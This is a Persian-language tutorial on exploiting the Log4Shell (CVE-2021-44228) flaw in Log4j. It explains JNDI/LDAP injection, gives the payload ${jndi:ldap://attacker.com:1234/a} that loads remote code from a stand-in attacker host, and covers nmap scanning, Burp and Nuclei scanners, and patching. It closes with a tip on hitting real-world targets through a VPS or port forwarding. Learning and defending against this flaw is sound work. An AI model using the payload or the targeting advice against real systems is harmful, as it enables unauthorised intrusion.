آموزش اکسپلویت آسیب پذیری Log4Shell (TryHackMe)

آسیب‌پذیری (log4j (Log4Shell در ابتدا توسط Chen Zhaojun از Alibaba گزارش شد ، و این آسیب پذیری با شناسه CVE-2021-44228 در cve ثبت شد.از Apache Log4j2 2.0-beta9 تا 2.12.1 و 2.13.0 تا 2.15.0 که از قابلیت JNDI ویژگی message lookup substitution توی پیکربندی و گزارش گیری پیام‌ها و پارامتر های این کتابخونه استفاده می‌شود (و بصورت پیش‌فرض هم این ویژگی در ورژن های آسیب‌پذیر این کتابخونه فعال است) در برابر فراخوانی LDAP توسط هکر محافظت نشده و آسیب‌پذیر می باشد.که این آسیب‌پذیری این امکان را برای هر مهاجمی فراهم می‌کند که بتواند متنی را به پیام‌های گزارش تزریق کند یا پیام با پارامتر هایی که یک کد را از سرور remote بارگیری می‌کند، inject کند. سپس سرور مورد نظر آن کد را از طریق call کردن رابط نامگذاری جاوا و رابط دایرکتوری (JNDI) اجرا می کند.از اونجایی که Log4J بصورت پیش فرض در URL های ارسال شده در این رشته ها sanitize را انجام نمیدهد، مهاجم می تواند با یک پیام حاوی رشته جایگزین با URL مربوط به یک سرور مخرب درخواست های مخرب را برای برنامه هایی ایجاد کند که از Log4J استفاده میکنند.ناگفته نماند که JNDI با بسیاری از سرویس های شبکه از جمله سریس های زیر در ارتباطه و تلاش‌هایی را برای اکسپلویت کردن این سرویس ها با استفاده از URL به سرویس هایی که به یک سرور خارجی هدایت می‌شوند، دیده شده است.LDAPDNSRMI (Java Remote Method Invocation),…که از log4j 2.15.0 این قابلیت بصورت پیش‌فرض عیرفعال شده و از نسخه 2.16.0 این قابلیت بصورت کامل حدف شده و باگ رو دیگه توی این نسخه patch کردن.و ناگفته نماند که این آسیب‌پذیری مختص به log4j-core می‌باشد و روی log4net و log4cxx یا سایر پروژه های Appache Logging Services تأثیری ندارد.خلاصه دوستان بیش از سه میلیارد پلتفرم توی دنیا هستند که از این کتابخونه استفاده میکنند حتی شرکت ها و سایت‌های بزرگی مثل aaple tesla و… باعث شده که در معرض خطر باشند.وقتی میگم سه میلیارد ینی خیییلییییی از سایتا توی جهان این آسیب‌پذیری رو دارناا ? و بشدتتت این آسیب‌پذیری خطرناکه و این آسیب پذیری در محاسبه‌ی شدت خطر و حساسیت طبق فرمول CVSS (سیستم امتیاز دهی آسیب پذیری) ، مقدار ۱۰ از ۱۰ (حداکثر مقدار ممکن) را کسب کرده است!قبل از اینکه بریم سراغ اصل مطلب اینو بگم که هکرا به log4j میگن log4shell و اگه جایی شنیدین ی موقع گیج نزنین که بگید حالا log4shell چیه و اینا.این اسم رو بر اساس میزان خطرناک بودن آسیب‌پذیری روش گذاشتن و حالا اگه بخوایم این اسم رو هم ی تحلیلی روش بریم اینجوری بگم که log4shell ینی ما با استفاده از ورژن های آسیب‌پذیر کتابخونه ی log4j میتونیم از اون سرور shell یا دسترسی بگیریمLog4J چیستآسیب‌پذیری (log4j (Log4Shellخب اول از همه بیاین به این بپردازیم که کتابخونه ی log4j چی هستو کاربردش چیه .کتابخونه ی log4j یک کتابخونه ی متن باز یا open source هستش که با جاوا نوشته شده و توی برنامه‌های جاوا و همچنین توی وب سرور apache از این کتابخونه استفاده می‌کنند .. ناگفته نماند که این کتابخانه در زبان های برنامه نویسی python c cpp ruby و… نیز وجود دارد .. این کتابخونه دوتا ورژن اصلی داره که یکیش log4j v1 هستش و یکی دیگه هم log4j v2 ، و این آسیب‌پذیری RCE که قراره در ادامه اونو بررسی کنیم توی ورژن 2 وجود دارد اما این آسیب‌پذیری توی ورژن یک این کتابخونه نیست .. که الان اینجوری برداشت نکنین که ورژن یک امن تره نسبت به ورژن دو نهه! از این خبرا نیست ، توی ورژن یک هم یکسری آسیب‌پذیری ها و باگ ها داخلش وجود داره که اینجا مورد بحث ما نیست و تمرکزمون روی log4j ورژن دو و آسیب‌پذیری RCE هستش.کتابخونه ی log4j کاربردش آینه که مثلاً من میخوام یکسری log ـها یا گزارش‌هایی رو از هر کسی که میاد از این برنامه یا وب سایت من استفاده می‌کنند بگیرم که این لاگ ها هم برای موارد امنیتی بعداً اگه مشکلی به وجود اومد ازش استفاده می‌کنند یا مثلاً برای عیب یابی اون پلتفرم یا برنامه مورد نظر مورد استفده قرار میگیرد و دلایل دیگر .. که کلاً میتونه کلی دلیل داشته باشه که این لاگ هارو یک اپلیکیشن میگیره.و این لاگ ها بصورت json , xml , yaml یا فرمت های خاص دیگری کانفیگ و ذخیره می‌شوند که معمولاً و اکثراً بصورت xml هستند.دوستان در ادامه من ممکنه یکم زیاد از لفظ و کلمه ی class استفاده کنم و ممکنه خیلیاتون ندونید class چیه !! پس من اینجا قبل از اینکه بریم سراغ مباحث اصلی ، بزارید بگم منظورمون از این class یا کلاس چیه…ببنید ما تو برنامه نویسی ی بحثی داریم بنام شئ گرایی یا Object Oriented Programing که بهش OOP هم میگن و منم نمیخوام زیاد در موردش صحبت کنم چون خود این OOP میشه گفت ی مبحث بزرگیه و غیره…در کل اینو بدونید که توی این مقاله منظور ما از class در واقع همون class ـی است که توی زبان های برنامه نویسی برای برنامه نویسیه شئ گرایی ازش استفاده می کنیم و دارای شئ/object ـهای مختلفی می باشدو غیره!…خب دوستان ببینید ما توی کتابخونه ی log4j ورژن دو یکسری امکاناتی داریم بنام lookups که این lookups ـها میان بصورت dynamic یا خودکار لاگ هارو ذخیره می‌کنند.که ما انواع مختلفی lookups داریم که میتونیم در این کتاخونه ازش استفاده کنیم .. اما چیزی که توی این آسیب‌پذیری استفاده شده JNDI Lookup هستش .حالا شاید براتون سؤال پیش بیاد که ما چه‌جوری می تونیم از این lookup ـها استفاده کنیم ؟! خب برای استفاده از این lookup ها از دستور زیر استفاده میشه :${lookupsValue}خب حالا بریم سراغ اینکه ببنیم اصا JNDI چی هستش کلاً ؟!JNDI یک نوع API است که به برنامه های جاوا اجازه پیدا کردن یک Object و تشخیص تغییرات روی آنها و امکان اتصال به object از راه دور را میدهد ..به عبارتی دیگر jndi که مخفف Java Naming and Directory Interface می‌باشد که یک API هستش برای اپلیکیشن هایی که با زبان Java نوشته شده که اون api به ما یکسری functionality هایی رو بهمون میده که اگر بخوایم این functionality ـها یا عمل‌کرد هارو بررسی کنیم ، حالت naming و directory داره ینی مثلاً من روی یک دایرکتوری توابعی رو فراخونی می‌کنم، یا روی string و name این توابع رو میگم بیا اجرا کن.معماری JNDI از یک API و یک رابط ارائه دهنده خدمات (SPI) تشکیل شده است. برنامه های جاوا از JNDI API برای دسترسی به انواع خدمات نامگذاری (Naming) و دایرکتوری (Directory) استفاده می کنند. SPI انواع خدمات نامگذاری و فهرست راهنمای را قادر می سازد تا به صورت شفاف وصل شوند، در نتیجه به برنامه جاوا با استفاده از JNDI API اجازه می دهد تا به خدمات آنها دسترسی داشته باشد. به شرح زیر : ? پس در کل این JNDI یکسری service provider interface (رابط ارائه دهنده خدمات) یا spi ـهایی رو بهمون ارائه میده به شرح زیر :Lightweight Directory Access Protocol (LDAP)Common Object Request Broker Architecture (CORBA) Common Object Services (COS) name serviceJava Remote Method Invocation (RMI) RegistryDomain Name Service (DNS),…ی سرویس / spi ما توی jndi داریم بنام LDAP یا Lightweight Directory Access Protocol که میاد دایرکتوری هارو برامون سرچ میکنه ینی عمل پیدا کردن آدرس دایرکتوری هایی که بهش میدیم رو برامون انجام میده ینی میاد دایرکتوری هارو برامون آدرسشو درج میکنه و منبعشو بهمون میگه.کلا JNDI Lookups ـها با${jdni:شروع می شوند.مثلاً پیلود زیررو در نظر بگیرید :${jndi:ldap://attacker.com:1234/a}توی این پیلود از jndi استفاده کردیم و بعد با (:) توش ی سرویسی رو call کردیم و بعدش آدرس رو بهش دادیمو و سپس ی کلاسی رو فراخوانی کردیم در آخر اون پیلود ما execute شده.که در ادامه بیشتر اینو مورد بررسی قرار میدیم و این الان صرفاً ی آشنایی با ساختارش بود.الان هکر ها با استفاده از این payload بالا میان و log4j ورژن آسیب پذیر رو exploit میکنن و ناگفته نماند که این تکنیکی که برای exploit کردن این آسیب پذیری در اینجا استفاده شده تکنیک جدیدی نیست در واقع این payload ـی که در بالا قرار دادم برای سال 2016 / 2015 توی کنفراس blackhat دو نفر اومدن ارائه دادن که در رابطه با JDNI Injection بود که اگر یک هکر بتونه یک JNDI Injection رو انجام بده در واقع اون هکر میتونه به RCE برسه .. که حالا همین هکری که اومده این آسیب پذیری رو توی کتابخونه ی log4j پیدا کرده دقیقا اومده و از این تکنیک استفاده کرده .. اما آسیب پذیریه توی کتابخونه ی log4j اون jndi injection نیست درواقع validate یا اعتبار سنجی نکردن اون مواردی که به lookup ـها پاس داده میشه نیست ینی باید اون داده هایی که توی {} قرار میگیره اعتبار سنجی بشن.خب بالا گفتم که ی آسیب پذیری دیگه توی کتابخونه log4j توی سال 2016 اینا داشتیم بنام jndi injection که هکرا اومدن از این تکنیک برای اکسپلویت آسیب پذیری log4shell استفاده میکنند.حالا شاید براتون سوال باشه که این jndi injection چیه و… .پس بریم ببنیم چیه.آسیب پذیری JNDI Injection چگونه بوجود آمد و JNDI Naming Reference چیستخب ببنید یچیزی داریم تحت عنوان JNDI Naming Reference که کاربردش اینه که فرض کنید من ی اپلیکیشنی دارم و میخوام توی بعضی از قسمت های اپم یکسری class ـهایی رو توی بعضی جاها پاس بدم که بهترین روش برای اینکار هم JNDI هستش چون راحته دیگه میایم یک آدرس رو بهش میدیم و میره اون object یا class مورد نظر رو برامون serialize (فشرده) میکنه و میاره تا ازش استفاده کنیم.توجه داشته باشید که اگر object یا class ـمون خیلی بزرگ باشه و بیایم اونو بصورت serialize شده توی آدرس قرار بدیم دیگه ممکنه نشه اونو پردازش کرد که بخاطر همین در اینجا naming reference ـها میاد و… که مورد بحث ما نیست .. ولیاگر بخوام jndi naming reference رو بصورت ساده تر بگم ما میتونیم object یا class ـمون رو serialize (فشرده) کنیم و آدرسش رو بصورت serialize شده توی آدرس بنویسیم .فقط اینو بدونید که اگر بخوایم از طریق JNDI یک object یا class رو serialize و یا deserialize کنیم طولانی میشد و ممکن بود پردازش نشه که اینجا JNDI برای ما Naming Reference ـهارو آورده که این naming reference ـها دو نوع هستند :که یکیش بهش میگن Reference Addresses که به این صورته که آدرس رو از داخل سرور بهش بدیم ینی مثلا توی سرور خودمون توی پوشه فلان اسم class رو بنویسیم و خود اون jndi میره اون فایل رو پیدا میکنه و class رو load میکنه ینی بصورت local. به شرح زیر مثلا :‌rmi://server/refی نوع دیگه ی naming reference ـها هم اینه که remote factory بزنه ینی اینکه اون class یا object مورد نظر توی سرور ما نباشه (ینی بصورت local نباشه) و توی ی آدرس سرور دیگه باشه و بصورت remote بتونیم و بشه object یا class رو بهش بدیم و remote اونو load کنه ینی اینکه روی یک سرور دیگه از راه دور میتونیم یک file رو روی سرور اصلی load کنیم و از راه دور یک class یا object رو روش اجرا کنیم.خب وقتی صحبت از remote میشه ینی ما میتونیم با استفاده از jndi یکسری class ـهایی رو load کنیم که این ممکنه فایل مخرب داشته باشه .. الان اینجا توی سرویس rmi از لحاظ امنیتی اون فایلی که از راه دور load میشه بررسی میشه ولی توی سرویس LDAP بصورت پیش فرض اون فایلی که از راه دور load میشه رو بررسی نمیکنه و همین باعث میشه که ما از طریق LDAP بتونیم JNDI Injection رو انجام بدیم و کلا دیگه اینجوری JNDI Injection بوجود میاد.تحلیل آسیب پذیری Log4Shell / Log4Jخب ما با استفاده از payload زیر${jndi:ldap://attacker.com:1234/className}میایم با JNDI بوسیله سرویس LDAP آدرس ldap سروری که هکر روی سیستم خودش run کرده رو ست می کنیم و در ادامه آدرس class ـی که داخل یک فایل جاوا هست و روی سرور local هکر ینی خودمون هست رو بهش میدیم که مخربه و قراره بصورت remote اون فایل رو روی سرور قربانی load کنیم و class / object مخرب اجرا شه.خب همونطور که میدونید و گفتم ما میتونیم توی کتابخونه ی Log4J بیایم و JNDI Lookup رو انجام بدیم به شرح زیر ? که همونطور که میبنید یک فایل xml هستش و داخلش کد های مربوط به jndi قرار گرفته.حالا در اینجا هم هکر اومده اون payload${jndi:ldap://attacker.com:1234/a}رو دقیقا داخل همونجایی که کد های jndi درج شده داخل اون قراره داده که یجورای ساختار کد نویسی این jndi مثل متغیر خودمون توی برنامه نویسه که حالا مثاله بود.خب بعد از اینکه هکر اون payload مخرب خودش رو اینجوری توی log file اون log4j تزریق کرد این payload میاد اون فایل مخرب رو از روی ldap سرور هکر ابتدا روی سرور قربانی load میکنه و سپس اون class مخرب رو execute میکنه که این عملیات منجرب به دسترسی هکر از سرور آسیب پذیر میشه چون اون کتابخونه ی log4j سرویس ldap ـش توی jndi اصلا همونطور که قبلا خدمتتون گفتم اون مقادیری که بهش پاس داده میشه رو اعتبار سنجی نمیکنه.حالا این آسیب پذیری رو اگر شما بعنوان یک هکر بخواید انجام بدید .. باید توی اون سایت / سرور اسیب پذیر دنبال اون header ـهایی باشید یا دنبال ورودی هایی بگردید که احتمال بدین اپلیکیشن اونو لاگ کنه و اونجا دیگه باید خودتون مقادیر و payload ـهای مختلف رو تست کنید.برای درک نحوه کار کرد این آسیب پذیری به عکس زیر با دقت نگاه و توجه کنید : ? نحوه اسکن و پیدا کردن آسیب‌پذیری Log4Shell با شناسه ی CVE-2021-44228تمامی وب سرور های apache که از کتابخونه ی log4j ورژن آسیب پذیر استفاده می کنند این آسیب پذیری رو دارند و میشه بهشون نفوذ کرد ، خلاصه دوستان تارگت براش زیاد و و و وبرای تست این آسیب‌پذیری باید توی ریکوئست هدر دنبال ورودی هایی باشیم که اپلیکیشن اونارو لاگ کنه و اونجا دیگه باید دونه دونه تست کنیم.این آسیب پذیری در میشه گفت بیشتر سرویس های apache که وب سایت های استفاده می کنند و اون سرویس ها از این کتابخونه ورژن آسیب پذیر استفاده می کنند موجوده از جمله سرویس های زیر :Apache DruidApache FlinkApache SolrApache SparkApache Struts2Apache Tomcat,…قبل از هر چیزی من ی توضیحی راجب endpoint بدم که چیه و اینا چون شاید این کلمه برای خیلی هاتون ناآشنا باشه.به url ـهای nice شده (کوتاه شده) میگن endpoint که پشتشون یک تابعست و در قسمت بک اند سایت اون ورودی توسط وب اپلیکیشن پردازش میشه ینی توی قسمت backend سایت ، برنامه نویس route تعریف کرده و گفته اگر کسی این مسیر رو خواست بیا این url رو بهش نشون بده و محتویات آدرس اصلی رو براش بیار! و در اینجا دیگه ما نمیتونیم url اصلی رو ببنیم و باید حدس بزنیم که چیه .. و پشت این آدرس route شده توسط برنامه نویس هم یک تابع قرار داره که یکسری پردازش ها روی اون ورودی کاربر انجام میده ، مثل :test.com/test/x/id/3مثلا این یک endpoint ـه :test.com:1234/test/image/1234و…که گاها ممکنه این endpoint روی یک پورت خاص از وب سرور وجود داشته باشه و ما برای پیدا کردن اینا باید با استفاده از تکنیک های مختلف recon بگردیمو اسکن کنیمو غیره، چون ممکنه به ی endpoint ـی برسیم که آسیب پذیر باشهساختار یک اندپوینت خلاصه اینجوریه و باید تست های مختلف رو روش انجام بدیم تا ببنیم آسیب پذیر هست یا خیر :‌test.com:1234/test/image/1234test.com/test/image/12341.2.3.4:1234/test/image/1234کلا دوستان ما توی وب به مسیری که پشتش یک تابع باشه میگیم execution path یعنی اینکه در آدرس زیرhttps://site.com/test/x.jpegالان x.jpeg ورودی یک تابعست.مثلا آدرس زیرsite.com/test/id/2این آدرس بالا در واقع یک آدرس کوتاه شده یا nice شده هستش که یک پارامتر id داریم که تابعست و این تابع id هم ورودیش 2 هست .. خب الان ما به این آدرس میگیم endpoint یا execution path چون آدرس اصلی یچیز دیگست و این آدرس بالا ی تابع پشت اون پارامتر ها داره و داره پردازش انجام میده و 2 هم ورودی id هست .. الان آدرس اصلی میشه این :site.com/test.php?id=2کلا به آدرس های nice شده میگن endpoint یا execution path که پارامتر هم میگیرن و توسط web application اجرا / هندل میشن.یک مسیر directory یا static resource مسیری هست که مسیر اصلیه و nice نشده و توسط web server اجرا / هندل میشه. کلا به مسیر و آدرس های دیروکتوری، static resource هم میگن.فرق endpoint با directory هم اینه که endpoint پشتش یک فانکشنه ولی directory پشتش هیچ تابعی نیست و صرفا یک فایله.ناگفته نماند که ما نمیتونیم از رو ظاهر تشخیص بدیم که یک url آیا directory هست یا endpoint و برای تشخیصش باید تست کنیم.خب برای پیدا کردن endpoint آسیب پذیر روی تارگت مورد نظر ابتدا با nmap سرویس ها و پورت های باز قربانی رو مورد اسکن قرار میدیم و برای اینکار هم از دستور زیر استفاده کنید :nmap -sV target.com -vتوجه داشته باشید که برای سهولت و دقت بیشتر بیاید و تمامی پورت های اون سیستم یا تارگت مورد نظر رو اسکن کنید که برای اینکار میتونید از دستور زیر استفاده کنید .. که این الان میاد کل پورت ها رو مورد اسکن قرار میده و سرویس های ران شده روی اونارو با جزئیات بهمون نمایش میده :nmap -sV -p- target.com -vnmap -sV -p- -Pn 1.2.3.4 -v,…معرفی scanner برای آسیب پذیری log4jخب دوستان در این بخش قرار scanner های مختلف رو بهتون معرفی کنیم که ممکنه مثلا یک وب سروری پیدا کرده باشید و سرویسی که از log4j استفاده میکنه هم روی اون وب سرور فعال باشه مثلا apache solar و خلاصه اون وب سرور آسیب پذیره ولی endpoint یا اون قسمتی که قراره payload بهش inject کنیم پیدا نمیکنید.در اینجور شرایط اولا باید تمام ورودی ها رو بصورت دستی payload مخرب رو روش تست کنید و همچنین تمامی http header ـهارو باید تست کنید .. بعد اگر به بجایی نرسیدید دیگه بیاید سراغ اسکنر.یا مثلا ی لیستی از تارگت دارید حال ندارید که بصورت دستی تست کنید که باز اونموقع هم میتونید از اسکنر استفاده کنید که پیشنهاد من اینه اول بصورت دستی تست کنید کامل ، بعد بیاید از اسکنر مورد نظرتون استفاده کنید.خب دوستان scanner ـی که پیشنهاد می کنم باهاش کار کنید log4shell scanner و log4shell everywhere هستش که یکی از اسکنر های معروف و قدرتمند در ابزار burp suite برای اسکن کردن آسیب پذیری log4j می باشد و میتونید ازش استفاده کنید .. ناگفته هم نماند که این اسکنر در آخرین نسخه ی ابزار Burp Suite بصورت پیش فرض نصبه و هنگام اسکن تارگت این آسیب پذیری هم تست میشه ، اگر هم نصب نبود میتونید از قسمت extentions ـهای ابزار burp این اسکنر هارو نصب کنیدبرای راهنمای نصب و… هم میتونید از منابع زیر استفاده کنید :Reference 1Reference 2Reference 3Reference 4 ? ? اینو هم بگم که ، اسکنر برای اسکن کردن این آسیب پذیری زیاده فقط کافیه داخل گوگل سرچ کنید log4j scanner یا log4shell scanner کلی ابزار براتون میاره .. که من حالا داخل گیت هاب اسکنر های معروف رو براتون سرچ کردم و لینکشو پایین میزارم ی سر بزنید :log4j scanner 1log4j scanner 2همچنین شما میتونید با استفاده از اسکریپتی که به Template اسکنر قدرتمند Nuclei اضافه شده تارگت های مورد نظر رو بررسی کنید ، به شرح تصویر زیر : ? ناگفته نماند که nmap هم ی اسکریپت برای اسکن آسیب پذیری log4j داره که برای اطلاعات بیشتر به این آدرس مراجعه کنید.نحوه patch کردن و مقابلهبرای پچ کردنشم کافیه log4j 2.17 رو دانلود کنید که هر دو فیکس شدند.طبق راهنمایی های آپاچی، در نسخه های پایینتر از 2.10، می توان با تنظیم ویژگی سیستم log4j2.formatMsgNoLookups یا متغیر محیطی LOG4J_FORMAT_MSG_NO_LOOKUPS روی true مقابله را انجام داد.برای نسخه‌های 2.0-beta9 تا 2.10.0، روش مقابله حذف کلاس JndiLookup از مسیر زیر است:classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.نکته :‌ دوستان اگر شما میخواهید بصورت real world توی محیط واقعی تارگت بزنید (خارج از شبکه) باید از vps استفاده کنید یا ip ـتون ثابت باشه یا هم تنظیمات پورت فورواردینگ رو روی مودمتون انجام بدین!---------------------------------------------------------------------------------------------------------------------------------------------------خدمات آموزشیخدمات وبخدمات گیمینگصفحه اینیستاگرام | تلگرام بلک بری | یوتویوب | زی لینک | دیسکورد